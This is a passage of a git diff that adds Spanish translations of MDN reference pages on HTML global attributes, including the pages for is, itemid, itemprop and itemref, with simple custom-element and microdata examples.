+ <li>Los atributos de {{web.link("/es/docs/Web/Guide/Events/Event_handlers", "control de eventos")}}: <code><strong>onabort</strong></code>, <code><strong>onautocomplete</strong></code>, <code><strong>onautocompleteerror</strong></code>, <code><strong>onblur</strong></code>, <code><strong>oncancel</strong></code>, <code><strong>oncanplay</strong></code>, <code><strong>oncanplaythrough</strong></code>, <code><strong>onchange</strong></code>, <code><strong>onclick</strong></code>, <code><strong>onclose</strong></code>, <code><strong>oncontextmenu</strong></code>, <code><strong>oncuechange</strong></code>, <code><strong>ondblclick</strong></code>, <code><strong>ondrag</strong></code>, <code><strong>ondragend</strong></code>, <code><strong>ondragenter</strong></code>, <code><strong>ondragexit</strong></code>, <code><strong>ondragleave</strong></code>, <code><strong>ondragover</strong></code>, <code><strong>ondragstart</strong></code>, <code><strong>ondrop</strong></code>, <code><strong>ondurationchange</strong></code>, <code><strong>onemptied</strong></code>, <code><strong>onended</strong></code>, <code><strong>onerror</strong></code>, <code><strong>onfocus</strong></code>, <code><strong>oninput</strong></code>, <code><strong>oninvalid</strong></code>, <code><strong>onkeydown</strong></code>, <code><strong>onkeypress</strong></code>, <code><strong>onkeyup</strong></code>, <code><strong>onload</strong></code>, <code><strong>onloadeddata</strong></code>, <code><strong>onloadedmetadata</strong></code>, <code><strong>onloadstart</strong></code>, <code><strong>onmousedown</strong></code>, <code><strong>onmouseenter</strong></code>, <code><strong>onmouseleave</strong></code>, <code><strong>onmousemove</strong></code>, <code><strong>onmouseout</strong></code>, <code><strong>onmouseover</strong></code>, <code><strong>onmouseup</strong></code>, <code><strong>onmousewheel</strong></code>, <code><strong>onpause</strong></code>, <code><strong>onplay</strong></code>, <code><strong>onplaying</strong></code>, <code><strong>onprogress</strong></code>, <code><strong>onratechange</strong></code>, <code><strong>onreset</strong></code>, <code><strong>onresize</strong></code>, <code><strong>onscroll</strong></code>, <code><strong>onseeked</strong></code>, <code><strong>onseeking</strong></code>, <code><strong>onselect</strong></code>, <code><strong>onshow</strong></code>, <code><strong>onsort</strong></code>, <code><strong>onstalled</strong></code>, <code><strong>onsubmit</strong></code>, <code><strong>onsuspend</strong></code>, <code><strong>ontimeupdate</strong></code>, <code><strong>ontoggle</strong></code>, <code><strong>onvolumechange</strong></code>, <code><strong>onwaiting</strong></code>.</li>
+</ul>
+
+<h2 id="Lista_de_atributos_globales">Lista de atributos globales</h2>
+
+<dl>
+ <dt><strong><code>{{web.link("/es/docs/Web/HTML/Global_attributes/accesskey", "accesskey")}}</code></strong></dt>
+ <dd>Proporciona una pista para generar un atajo de teclado para el elemento actual. Este atributo consta de una lista de caracteres separados por espacios. El navegador debe utilizar el primero que exista en la distribución del teclado del ordenador.</dd>
+ <dt><strong><code>{{web.link("/es/docs/Web/HTML/Global_attributes/autocapitalize", "autocapitalize")}}</code></strong></dt>
+ <dd>Controla si la entrada de texto se pone en mayúsculas automáticamente a medida que el usuario la introduce o edita. Puede tener los siguientes valores:
+ <ul>
+  <li><code>off</code> o <code>none</code>, no se aplica capitalización automática (todas las letras están predeterminadas en minúsculas)</li>
+  <li><code>on</code> o <code>sentences</code>, la primera letra de cada oración de manera predeterminada tiene una letra mayúscula; todas las demás letras están predeterminadas en minúsculas</li>
+  <li><code>words</code>, la primera letra de cada palabra de manera predeterminada tiene una letra mayúscula; todas las demás letras están predeterminadas en minúsculas</li>
+  <li><code>characters</code>, todas las letras de manera predeterminada deben estar en mayúsculas</li>
+ </ul>
+ </dd>
+ <dt><strong><code>{{web.link("/es/docs/Web/HTML/Global_attributes/class", "class")}}</code></strong></dt>
+ <dd>Una lista separada por espacios de las clases del elemento. Las clases permiten que CSS y JavaScript seleccionen y accedan a elementos específicos a través de los {{web.link("/es/docs/Web/CSS/Class_selectors", "selectores de clase")}} o funciones como el método {{DOMxRef("document.getElementsByClassName()")}}.</dd>
+ <dt><strong><code>{{web.link("/es/docs/Web/HTML/Global_attributes/contenteditable", "contenteditable")}}</code></strong></dt>
+ <dd>Un atributo enumerado que indica si el usuario debe poder editar el elemento. Si es así, el navegador modifica su «<em>widget</em>» para permitir la edición. El atributo debe tomar uno de los siguientes valores:
+ <ul>
+  <li><code>true</code> o la <em>cadena vacía</em>, la cual indica que el elemento debe ser editable;</li>
+  <li><code>false</code>, el cual indica que el elemento no debe ser editable.</li>
+ </ul>
+ </dd>
+ <dt><strong><code>{{web.link("/es/docs/Web/HTML/Global_attributes/contextmenu", "contextmenu")}}</code></strong> {{Obsolete_Inline}}</dt>
+ <dd>El {{anch("attr-id", "id")}} de un {{HTMLElement ("menu")}} para usar como el menú contextual para este elemento.</dd>
+ <dt><strong><code>{{web.link("/es/docs/Web/HTML/Global_attributes/data-*", "data-*")}}</code></strong></dt>
+ <dd>Forma una clase de atributos, denominados atributos de datos personalizados, que permiten el intercambio de información de propiedad entre el {{web.link("/es/docs/Web/HTML", "HTML")}} y su representación {{Glossary("DOM")}} que pueden utilizar los scripts. Todos estos datos personalizados están disponibles a través de la interfaz {{DOMxRef("HTMLElement")}} del elemento en el que está configurado el atributo. La propiedad {{DOMxRef("HTMLElement.dataset")}} les da acceso.</dd>
+ <dt><strong><code>{{web.link("/es/docs/Web/HTML/Global_attributes/dir", "dir")}}</code></strong></dt>
+ <dd>Un atributo enumerado que indica la direccionalidad del texto del elemento. Puede tener los siguientes valores:
+ <ul>
+  <li><code>ltr</code>, que significa <em>de izquierda a derecha</em> y s debe usar para idiomas que se escriben de izquierda a derecha (tal como el Español);</li>
+  <li><code>rtl</code>, que significa <em>de derecha a izquierda</em> y se utiliza para idiomas que se escriben de derecha a izquierda (tal como el Árabe);</li>
+  <li><code>auto</code>, permite que el agente de usuario decida. Utiliza un algoritmo básico ya que analiza los caracteres dentro del elemento hasta que encuentra un carácter con una direccionalidad fuerte, luego aplica esa direccionalidad a todo el elemento.</li>
+ </ul>
+ </dd>
+ <dt><strong><code>{{web.link("/es/docs/Web/HTML/Global_attributes/draggable", "draggable")}}</code></strong></dt>
+ <dd>Un atributo enumerado que indica si el elemento se puede arrastrar mediante la {{web.link("/es/docs/DragDrop/Drag_and_Drop", "API de arrastrar y soltar")}}. Puede tener los siguientes valores:
+ <ul>
+  <li><code>true</code>, indica que el elemento se puede arrastrar</li>
+  <li><code>false</code>, indica que el elemento <strong>no</strong> se puede arrastrar.</li>
+ </ul>
+ </dd>
+ <dt><strong><code>{{web.link("/es/docs/Web/HTML/Global_attributes/dropzone", "dropzone")}}</code></strong> {{deprecated_inline}}</dt>
+ <dd>Un atributo enumerado que indica qué tipos de contenido se pueden colocar en un elemento, utilizando la {{web.link("/es/docs/DragDrop/Drag_and_Drop", "API de arrastrar y soltar")}}. Puede tener los siguientes valores:
+ <ul>
+  <li><code>copy</code>, indica que soltar creará una copia del elemento que se arrastró</li>
+  <li><code>move</code>, indica que el elemento que se arrastró se moverá a esta nueva ubicación.</li>
+  <li><code>link</code>, creará un enlace a los datos arrastrados.</li>
+ </ul>
+ </dd>
+ <dt><strong><code>{{web.link("/es/docs/Web/HTML/Global_attributes/exportparts", "exportparts")}}</code></strong> {{Experimental_Inline}}</dt>
+ <dd>Se utiliza para exportar de forma transitiva partes de sombras de un árbol de sombras anidado a un árbol contenedor de luz.</dd>
+ <dt><strong><code>{{web.link("/es/docs/Web/HTML/Global_attributes/hidden", "hidden")}}</code></strong></dt>
+ <dd>Un atributo booleano indica que el elemento aún no es o ya no es <em>relevante</em>. Por ejemplo, se puede utilizar para ocultar elementos de la página que no se pueden utilizar hasta que se haya completado el proceso de inicio de sesión. El navegador no representará tales elementos. Este atributo no se debe utilizar para ocultar contenido que se podría mostrar legítimamente.</dd>
+ <dt><strong><code>{{web.link("/es/docs/Web/HTML/Global_attributes/id", "id")}}</code></strong></dt>
+ <dd>Define un identificador (ID) único que debe ser único en todo el documento. Su propósito es identificar el elemento al vincularlo (usando un identificador de fragmento), al escribir un script o al aplicarle estilo (con CSS).</dd>
+ <dt><strong><code>{{web.link("/es/docs/Web/HTML/Global_attributes/inputmode", "inputmode")}}</code></strong></dt>
+ <dd>Proporciona una pista a los navegadores sobre el tipo de configuración de teclado virtual que se debe utilizar al editar este elemento o su contenido. Se usa principalmente en elementos {{HTMLElement("input")}}, pero se puede usar en cualquier elemento mientras esté en modo {{HTMLAttrxRef("contenteditable")}}.</dd>
+ <dt><strong><code>{{web.link("/es/docs/Web/HTML/Global_attributes/is", "is")}}</code></strong></dt>
+ <dd>Te permite especificar que un elemento HTML estándar se debe comportar como un elemento integrado personalizado registrado (consulta {{web.link("/es/docs/Web/Web_Components/Using_custom_elements", "Uso de elementos personalizados")}} para obtener más detalles).</dd>
+</dl>
+
+<div class="note">
+<p><strong>Nota</strong>: Los atributos <code>item*</code> son parte de <a class="external" href="https://html.spec.whatwg.org/multipage/microdata.html#microdata">Función de microdatos HTML de WHATWG</a>.</p>
+</div>
+
+<dl>
+ <dt><strong><code>{{web.link("/es/docs/Web/HTML/Global_attributes/itemid", "itemid")}}</code></strong></dt>
+ <dd>El identificador único y global de un artículo.</dd>
+ <dt><strong><code>{{web.link("/es/docs/Web/HTML/Global_attributes/itemprop", "itemprop")}}</code></strong></dt>
+ <dd>Se usa para agregar propiedades a un elemento. Se puede especificar a cada elemento HTML un atributo <code>itemprop</code>, donde un <code>itemprop</code> consiste en un par de nombre y valor.</dd>
+ <dt><strong><code>{{web.link("/es/docs/Web/HTML/Global_attributes/itemref", "itemref")}}</code></strong></dt>
+ <dd>Las propiedades que no son descendientes de un elemento con el atributo <code>itemscope</code> se pueden asociar con el elemento usando un <code>itemref</code>. Proporciona una lista de IDs de elementos (no <code>itemid</code>s) con propiedades adicionales en otras partes del documento.</dd>
+ <dt><strong><code>{{web.link("/es/docs/Web/HTML/Global_attributes/itemscope", "itemscope")}}</code></strong></dt>
+ <dd><code>itemscope</code> (normalmente) funciona junto con {{HTMLAttrxRef("itemtype")}} para especificar que el HTML contenido en un bloque es sobre un elemento en particular. <code>itemscope</code> crea el «<em>Item</em>» y define el alcance del <code>itemtype</code> asociado con él. <code>itemtype</code> es una URL válida de un vocabulario (tal como <a class="external external-icon" href="https://schema.org/">schema.org</a>) que describe el elemento y las propiedades de su contexto.</dd>
+ <dt><strong><code>{{web.link("/es/docs/Web/HTML/Global_attributes/itemtype", "itemtype")}}</code></strong></dt>
+ <dd>Especifica la URL del vocabulario que se utilizará para definir <code>itemprop</code>s (propiedades del elemento) en la estructura de datos. {{HTMLAttrxRef("itemscope")}} se utiliza para establecer el alcance de la estructura de datos en la que estará activo el vocabulario establecido por <code>itemtype</code>.</dd>
+ <dt><strong><code>{{web.link("/es/docs/Web/HTML/Global_attributes/lang", "lang")}}</code></strong></dt>
+ <dd>Ayuda a definir el idioma de un elemento: el idioma en el que se encuentran los elementos no editables o el idioma en el que el usuario debe escribir los elementos editables. El atributo contiene una “etiqueta de idioma” (compuesta de “subetiquetas de idioma” separadas por guiones) en el formato definido en <a class="external" href="https://www.ietf.org/rfc/bcp/bcp47.txt"><em>Etiquetas para identificar idiomas (BCP47)</em></a>. {{anch("attr-xml:lang", "xml:lang")}} tiene prioridad sobre él.</dd>
+ <dt><strong><code>{{web.link("/es/docs/Web/HTML/Global_attributes/part", "part")}}</code></strong></dt>
+ <dd>Una lista separada por espacios de los nombres de las partes del elemento. Los nombres de las partes permiten que CSS seleccione y aplique estilo a elementos específicos en la sombra de un árbol mediante el pseudoelemento {{CSSxRef("::part")}}.</dd>
+ <dt><strong><code>{{web.link("/es/docs/Web/HTML/Global_attributes/slot", "slot")}}</code></strong></dt>
+ <dd>Asigna un espacio en la sombra de un árbol {{web.link("/es/docs/Web/Web_Components/Shadow_DOM", "DOM de sombra")}} a un elemento: Un elemento con un atributo <code>slot</code> es asignado al espacio creado por el elemento {{HTMLElement("slot")}} cuyo valor del atributo {{HTMLAttrxRef("name", "slot")}} coincide con el valor del atributo <code>slot</code>.</dd>
+ <dt><strong><code>{{web.link("/es/docs/Web/HTML/Global_attributes/spellcheck", "spellcheck")}}</code></strong></dt>
+ <dd>Un atributo enumerado define si se puede verificar el elemento para detectar errores ortográficos. Puede tener los siguientes valores:
+ <ul>
+  <li><code>true</code>, el cual indica que, si es posible, el elemento se debe revisar para detectar errores ortográficos;</li>
+  <li><code>false</code>, indica que el elemento <strong>no</strong> se debe revisar para detectar errores ortográficos.</li>
+ </ul>
+ </dd>
+ <dt><strong><code>{{web.link("/es/docs/Web/HTML/Global_attributes/style", "style")}}</code></strong></dt>
+ <dd>Contiene declaraciones de estilo {{web.link("/en-US/docs/Web/CSS", "CSS")}} que se aplicarán al elemento. Ten en cuenta que se recomienda que los estilos se definan en un archivo o archivos separados. Este atributo y el elemento {{HTMLElement("style")}} principalmente tienen el propósito de permitir un estilo rápido, por ejemplo, con fines de prueba.</dd>
+ <dt><strong><code>{{web.link("/es/docs/Web/HTML/Global_attributes/tabindex", "tabindex")}}</code></strong></dt>
+ <dd>Un atributo entero que indica si el elemento puede tomar el foco de entrada (es <em>enfocable</em>), si debe participar en la navegación secuencial del teclado y, de ser así, en qué posición. Puede tomar varios valores:
+ <ul>
+  <li>un <em>valor negativo</em> significa que el elemento se debe poder enfocar, pero no debe ser accesible mediante la navegación secuencial del teclado;</li>
+  <li><code>0</code> significa que el elemento se debe poder enfocar y ser accesible a través de la navegación secuencial del teclado, pero su orden relativo está definido por la convención de la plataforma;</li>
+  <li>un <em>valor positivo</em> significa que el elemento se debe poder enfocar y ser accesible mediante la navegación secuencial del teclado; el orden en el que se enfocan los elementos es el valor creciente del {{anch("attr-tabindex", "tabindex")}}. Si varios elementos comparten el mismo <code>tabindex</code>, su orden relativo sigue sus posiciones relativas en el documento.</li>
+ </ul>
+ </dd>
+ <dt><strong><code>{{web.link("/es/docs/Web/HTML/Global_attributes/title", "title")}}</code></strong></dt>
+ <dd>Contiene un texto que representa información de advertencia relacionada con el elemento al que pertenece. Normalmente, pero no necesariamente, dicha información se puede presentar al usuario como información sobre herramientas.</dd>
+ <dt><strong><code>{{web.link("/es/docs/Web/HTML/Global_attributes/translate", "translate")}}</code></strong> {{Experimental_Inline}}</dt>
+ <dd>Un atributo enumerado que se utiliza para especificar si los valores de atributo de un elemento y los valores de sus hijos de nodo {{DOMxRef("Text")}} se deben traducir cuando la página está localizada, o si se deben dejar sin cambios. Puede tener los siguientes valores:
+ <ul>
+  <li>la cadena vacía y <code>yes</code>, indican que el elemento se traducirá.</li>
+  <li><code>no</code>, lo cual indica que el elemento <strong>no</strong> se traducirá.</li>
+ </ul>
+ </dd>
+</dl>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("HTML WHATWG", "dom.html#global-attributes", "Atributos globales")}}</td>
+   <td>{{Spec2("HTML WHATWG")}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName("CSS Shadow Parts", "#exposing")}}</td>
+   <td>{{Spec2("CSS Shadow Parts")}}</td>
+   <td>Se agregaron los atributos globales <code>part</code> y <code>exportparts</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("HTML5.2", "dom.html#global-attributes", "Atributos globales")}}</td>
+   <td>{{Spec2("HTML5.2")}}</td>
+   <td>Instantánea de {{SpecName("HTML WHATWG")}}. De {{SpecName("HTML5.1")}}, se han añadido <code>itemid</code>, <code>itemprop</code>, <code>itemref</code>, <code>itemscope</code> y <code>itemtype</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("HTML5.1", "dom.html#global-attributes", "Atributos globales")}}</td>
+   <td>{{Spec2("HTML5.1")}}</td>
+   <td>Instantánea de {{SpecName("HTML WHATWG")}}. De {{SpecName("HTML5 W3C")}}, ha sido añadido <code>contextmenu</code>, <code>draggable</code>, <code>dropzone</code> y <code>spellcheck</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("HTML5 W3C", "dom.html#global-attributes", "Atributos globales")}}</td>
+   <td>{{Spec2("HTML5 W3C")}}</td>
+   <td>Instantánea de {{SpecName("HTML WHATWG")}}. De {{SpecName("HTML4.01")}}, se introduce el concepto de atributos globales y <code>dir</code>, <code>lang</code>, <code>style</code>, <code>id</code>, <code>class</code>, <code>tabindex</code>, <code>accesskey</code>, y <code>title</code> ahora son verdaderos atributos globales.<br>
+    <code>xml:lang</code> que inicialmente formaba parte de XHTML, ahora también forma parte de HTML.<br>
+    Se han agregado <code>hidden</code>, <code>data-*</code>, <code>contenteditable</code> y <code>translate</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("HTML4.01")}}</td>
+   <td>{{Spec2("HTML4.01")}}</td>
+   <td>No hay atributos globales definidos. Varios atributos que se convertirán en atributos globales en especificaciones posteriores se definen en un subconjunto de elementos.<br>
+    <code>class</code> y <code>style</code> son compatibles con todos los elementos excepto {{HTMLElement("base")}}, {{HTMLElement("basefont")}}, {{HTMLElement("head")}}, {{HTMLElement("html")}}, {{HTMLElement("meta")}}, {{HTMLElement("param")}}, {{HTMLElement("script")}}, {{HTMLElement("style")}} y {{HTMLElement("title")}}.<br>
+    <code>dir</code> es compatible con todos los elementos excepto {{HTMLElement("applet")}}, {{HTMLElement("base")}}, {{HTMLElement("basefont")}}, {{HTMLElement("bdo")}}, {{HTMLElement("br")}}, {{HTMLElement("frame")}}, {{HTMLElement("frameset")}}, {{HTMLElement("iframe")}}, {{HTMLElement("param")}} y {{HTMLElement("script")}}.<br>
+    <code>id</code> es compatible con todos los elementos excepto {{HTMLElement("base")}}, {{HTMLElement("head")}}, {{HTMLElement("html")}}, {{HTMLElement("meta")}}, {{HTMLElement("script")}}, {{HTMLElement("style")}} y {{HTMLElement("title")}}.<br>
+    <code>lang</code> es compatible con todos los elementos excepto {{HTMLElement("applet")}}, {{HTMLElement("base")}}, {{HTMLElement("basefont")}}, {{HTMLElement("br")}}, {{HTMLElement("frame")}}, {{HTMLElement("frameset")}}, {{HTMLElement("iframe")}}, {{HTMLElement("param")}} y {{HTMLElement("script")}}.<br>
+    <code>tabindex</code> solo es compatible con {{HTMLElement("a")}}, {{HTMLElement("area")}}, {{HTMLElement("button")}}, {{HTMLElement("object")}}, {{HTMLElement("select")}} y {{HTMLElement("textarea")}}.<br>
+    <code>accesskey</code> solo es compatible con {{HTMLElement("a")}}, {{HTMLElement("area")}}, {{HTMLElement("button")}}, {{HTMLElement("input")}}, {{HTMLElement("label")}}, {{HTMLElement("legend")}} t {{HTMLElement("textarea")}}.<br>
+    <code>title</code> es compatibles con todos los elementos excepto {{HTMLElement("base")}}, {{HTMLElement("basefont")}}, {{HTMLElement("head")}}, {{HTMLElement("html")}}, {{HTMLElement("meta")}}, {{HTMLElement("param")}}, {{HTMLElement("script")}} y {{HTMLElement("title")}}.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_del_navegador">Compatibilidad del navegador</h2>
+
+<div class="hidden">La tabla de compatibilidad de esta página se genera a partir de datos estructurados. Si deseas contribuir con los datos, consulta <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> y envíanos una solicitud de extracción.</div>
+
+<p>{{Compat("html.global_attributes")}}</p>
+
+<h2 id="Ve_también">Ve también</h2>
+
+<ul>
+ <li>Las interfaces {{DOMxRef("Element")}} y {{DOMxRef("GlobalEventHandlers")}} que permiten consultar la mayoría de los atributos globales.</li>
+</ul>
diff --git a/files/es/web/html/atributos_globales/is/index.html b/files/es/web/html/atributos_globales/is/index.html
new file mode 100644
index 0000000000..aa57cab27d
--- /dev/null
+++ b/files/es/web/html/atributos_globales/is/index.html
@@ -0,0 +1,67 @@
+---
+title: is
+slug: Web/HTML/Atributos_Globales/is
+tags:
+  - Atributos globales
+  - HTML
+  - Referencia
+  - is
+translation_of: Web/HTML/Global_attributes/is
+---
+<div>{{HTMLSidebar("Global_attributes")}}</div>
+
+<p><span class="seoSummary">La construcción is <a href="/es/docs/Web/HTML/Atributos_Globales">global attribute</a> permite especificar que un elemento HTML estándar se debería comportar como un elemento personalizado provisto originalmente por el lenguaje (para más detalles, vea <a href="/en-US/docs/Web/Web_Components/Using_custom_elements">Utilizando elementos personalizados</a>).</span></p>
+
+<p>Este atributo puede ser utilizado sólo si nombre del elemento personalizado especificado ha sido <a href="/en-US/docs/Web/API/CustomElementRegistry/define">definido</a> extósamente en el documento actual, y extiende el tipo de elemento al que está siendo aplicado.</p>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<p>El siguiente código fue tomado de nuestro ejemplo <a href="https://github.com/mdn/web-components-examples/tree/master/word-count-web-component">word-count-web-component</a> (<a href="https://mdn.github.io/web-components-examples/word-count-web-component/">véalo también en vivo</a>).</p>
+
+<pre class="brush: js">// Crea una clase para el elemento
+class WordCount extends HTMLParagraphElement {
+  constructor() {
+    // Siempre llamar a super al comienzo del constructor
+    super();
+
+    // Contenido del constructor omitido para mayor brevedad
+    ...
+
+  }
+}
+
+// Define el nuevo elemento
+customElements.define('word-count', WordCount, { extends: 'p' });</pre>
+
+<pre class="brush: html">&lt;<span class="pl-ent">p</span> <span class="pl-e">is</span>=<span class="pl-s"><span class="pl-pds">"</span>word-count<span class="pl-pds">"</span></span>&gt;&lt;/<span class="pl-ent">p</span>&gt;</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "custom-elements.html#attr-is", "is")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_de_navegadores">Compatibilidad de navegadores</h2>
+
+<div class="hidden">La tabla de compatibilidad en esta página es generada desde datos estructurados. Si desea contribuir a estos datos, por favor clone el repositorio <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> y envíenos un pull request.</div>
+
+<p>{{Compat("html.global_attributes.is")}}</p>
+
+<h2 id="Vea_también">Vea también</h2>
+
+<ul>
+ <li>Todos los <a href="/es/docs/Web/HTML/Atributos_Globales">atributos globales</a>.</li>
+</ul>
+
+<p> </p>
diff --git a/files/es/web/html/atributos_globales/itemid/index.html b/files/es/web/html/atributos_globales/itemid/index.html
new file mode 100644
index 0000000000..72ce64456e
--- /dev/null
+++ b/files/es/web/html/atributos_globales/itemid/index.html
@@ -0,0 +1,78 @@
+---
+title: itemid
+slug: Web/HTML/Atributos_Globales/itemid
+translation_of: Web/HTML/Global_attributes/itemid
+---
+<h2 id="Resumen">Resumen</h2>
+
+<p>El atributo <strong>Itemid </strong>es un identificador global y único de un item.</p>
+
+<p>Los atributos Itemid attributes sólo se pueden especificar en elmentos que tiene atributos tanto de <strong>itemscope </strong>como <strong>itemtype</strong>. Además, el itemid sólo puede ser especficiado en elemento con un atributo itemscope cuyo correspondiente itemtype hace referencia o define un vocabulario que soporte identificadores globales.</p>
+
+<p>Un vocabulario de itemtype nos proporcionará el significado exacto de un identificador global definido dentro del vocabulario. El vocabulario definirá si varios item con el mismo identificador global puede co-existir y, si están permitidos, cómo item con el mismo identificador son gestionados.</p>
+
+<p class="note"><strong>Nota:</strong> La definición de  itemid hecha por Whatwg.org dice que debe ser una URL. No parece que sea el caso de el ejemplo que se muestra más abajo. Sin embargo la definición de facto es que un itemid es un identificador único, así que los apropiado es URB. Esta inconsistencia refleja sin dudarlo la naturaleza incompleta de la espeficicación Microdata.</p>
+
+<h2 id="Ejemplo">Ejemplo</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;dl itemscope
+    itemtype="http://vocab.example.net/book"
+    itemid="urn:isbn:0-330-34032-8"&gt;
+&lt;dt&gt;Título &lt;dd itemprop="titulo"&gt;The Reality Dysfunction
+&lt;dt&gt;Autor &lt;dd itemprop="autor"&gt;Peter F. Hamilton
+&lt;dt&gt;Fecha de publicación
+&lt;dd&gt;&lt;time itemprop="fechapublicacion" datetime="26-01-1996"&gt;26 Enero 1996&lt;/time&gt; &lt;/dl&gt;</pre>
+
+<h3 id="Datos_estructurados">Datos estructurados</h3>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td colspan="1" rowspan="14">itemscope</td>
+   <td>itemtype: itemid</td>
+   <td colspan="2" rowspan="1">
+    <div class="jyrRxf-eEDwDf jcd3Mb IZ65Hb-hUbt4d"><span>http://vocab.example.net/book</span>: urn:isbn:0-330-34032-8</div>
+   </td>
+  </tr>
+  <tr>
+   <td>itemprop</td>
+   <td><span>titulo</span></td>
+   <td><span>The Reality Dysfunction</span></td>
+  </tr>
+  <tr>
+   <td>itemprop</td>
+   <td><span>autor</span></td>
+   <td>
+    <div class="jyrRxf-eEDwDf jcd3Mb"><span>Peter F. Hamilton</span></div>
+   </td>
+  </tr>
+  <tr>
+   <td>itemprop</td>
+   <td><span>fechapublicacion</span></td>
+   <td><span>26-01-1996</span></td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="Resultado">Resultado</h3>
+
+<p>{{ EmbedLiveSample('HTML', '', '', '', 'Web/HTML/Global_attributes/itemid') }}</p>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table" style="height: 105px; width: 490px;">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estad</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><a href="https://html.spec.whatwg.org/multipage/microdata.html#attr-itemid">itemid</a></td>
+   <td>Nota WG - No está siendo ya activamente desarrollado.</td>
+  </tr>
+ </tbody>
+</table>
diff --git a/files/es/web/html/atributos_globales/itemprop/index.html b/files/es/web/html/atributos_globales/itemprop/index.html
new file mode 100644
index 0000000000..232af938aa
--- /dev/null
+++ b/files/es/web/html/atributos_globales/itemprop/index.html
@@ -0,0 +1,22 @@
+---
+title: itemprop
+slug: Web/HTML/Atributos_Globales/itemprop
+tags:
+  - atributo
+  - metatag
+translation_of: Web/HTML/Global_attributes/itemprop
+---
+<p style="margin: 0.5em 0px 0px 50px; padding-top: 0px; padding-bottom: 2px; color: rgb(58, 73, 86); font-family: 'Lucida Grande', 'Lucida Sans Unicode', Verdana, Tahoma, Arial, sans-serif; font-size: 12px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: 19.2px; text-align: left; text-indent: 0px; text-transform: none; white-space: normal;">Podemos dar más información al motor de búsqueda acerca de imágenes o datos adentro de cualquier tipo de etiquetas , como las propiedades : actores , clasificación ,genero . Para etiquetar las propiedades de un elemento , usa el atributo itemprop . Por ejemplo , para identificar al actor de una película añadir itemprop="director" al elemento que encierra el nombre del director.</p>
+
+<p style="margin: 0.5em 0px 0px 50px; padding-top: 0px; padding-bottom: 2px; color: rgb(58, 73, 86); font-family: 'Lucida Grande', 'Lucida Sans Unicode', Verdana, Tahoma, Arial, sans-serif; font-size: 12px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: 19.2px; text-align: left; text-indent: 0px; text-transform: none; white-space: normal;">Aquí hay un ejemplo .</p>
+
+<pre style="font-family: Courier, monospace; font-size: 14.4px; width: auto; padding: 0px 5px 2px 10px; margin: 0.5em 0px 0px 50px; text-align: left; overflow: auto; color: rgb(58, 73, 86); font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: 19.2px; text-indent: 0px; text-transform: none; background: rgb(225, 225, 225);">&lt;div itemscope itemtype="http://schema.org/Movie"&gt;
+  &lt;h1 <strong>itemprop="name"</strong>&gt;Avatar&lt;/h1&gt;
+  &lt;span&gt;Director: &lt;span <strong>itemprop="director"</strong>&gt;James Cameron&lt;/span&gt; (born August 16, 1954)&lt;/span&gt;
+  &lt;span <strong>itemprop="genre"</strong>&gt;Ciencia ficcion&lt;/span&gt;
+  &lt;a href="../movies/avatar-theatrical-trailer.html" <strong>itemprop="trailer"</strong>&gt;Trailer&lt;/a&gt;
+&lt;/div&gt;</pre>
+
+<p> </p>
+
+<p>             Para más información acerca de los atributos relacionados consultar  https://schema.org/docs/gs.html</p>
diff --git a/files/es/web/html/atributos_globales/itemref/index.html b/files/es/web/html/atributos_globales/itemref/index.html
new file mode 100644
index 0000000000..9dac55140b
--- /dev/null
+++ b/files/es/web/html/atributos_globales/itemref/index.html
@@ -0,0 +1,106 @@
+---
+title: itemref
+slug: Web/HTML/Atributos_Globales/itemref
+translation_of: Web/HTML/Global_attributes/itemref
+---
+<h2 id="Resumen">Resumen</h2>
+
+<p>Las propiedades que no son descendientes de un elemento con el atributo <code>itemscope</code> pueden ser asociadas con el elemento usando un <strong>itemref</strong> . <strong>Itemref</strong> provee una lista de ids de los elementos (no <code>itemids</code>) con propiedades adicionales en otras partes dentro del documento .</p>
+
+<p>El atributo itemref puede ser solo especificado en elementos que tienen un atributo itemscope especificado .</p>
+
+<p class="note"><strong>Nota: </strong>el atributo itemref no es parte del modelo de micro datos . Es solamente un constructor sintáctico que ayuda a los autores en el ingreso de anotaciones a las páginas donde los datos que se van a anotar no siguen una estructura de arbol conveniente . Por ejemplo , permite a los autores marcar los datos en una tabla para que cada columna defina un item separado mientras se mantienen las propiedades en las celdas .</p>
+
+<div class="syntaxbox">
+<h2 class="syntaxbox" id="Ejemplo">Ejemplo</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<div class="syntaxbox">
+<pre class="brush: html">&lt;div itemscope id="amanda" itemref="a b"&gt;&lt;/div&gt;
+&lt;p id="a"&gt;Name: &lt;span itemprop="name"&gt;Amanda&lt;/span&gt; &lt;/p&gt;
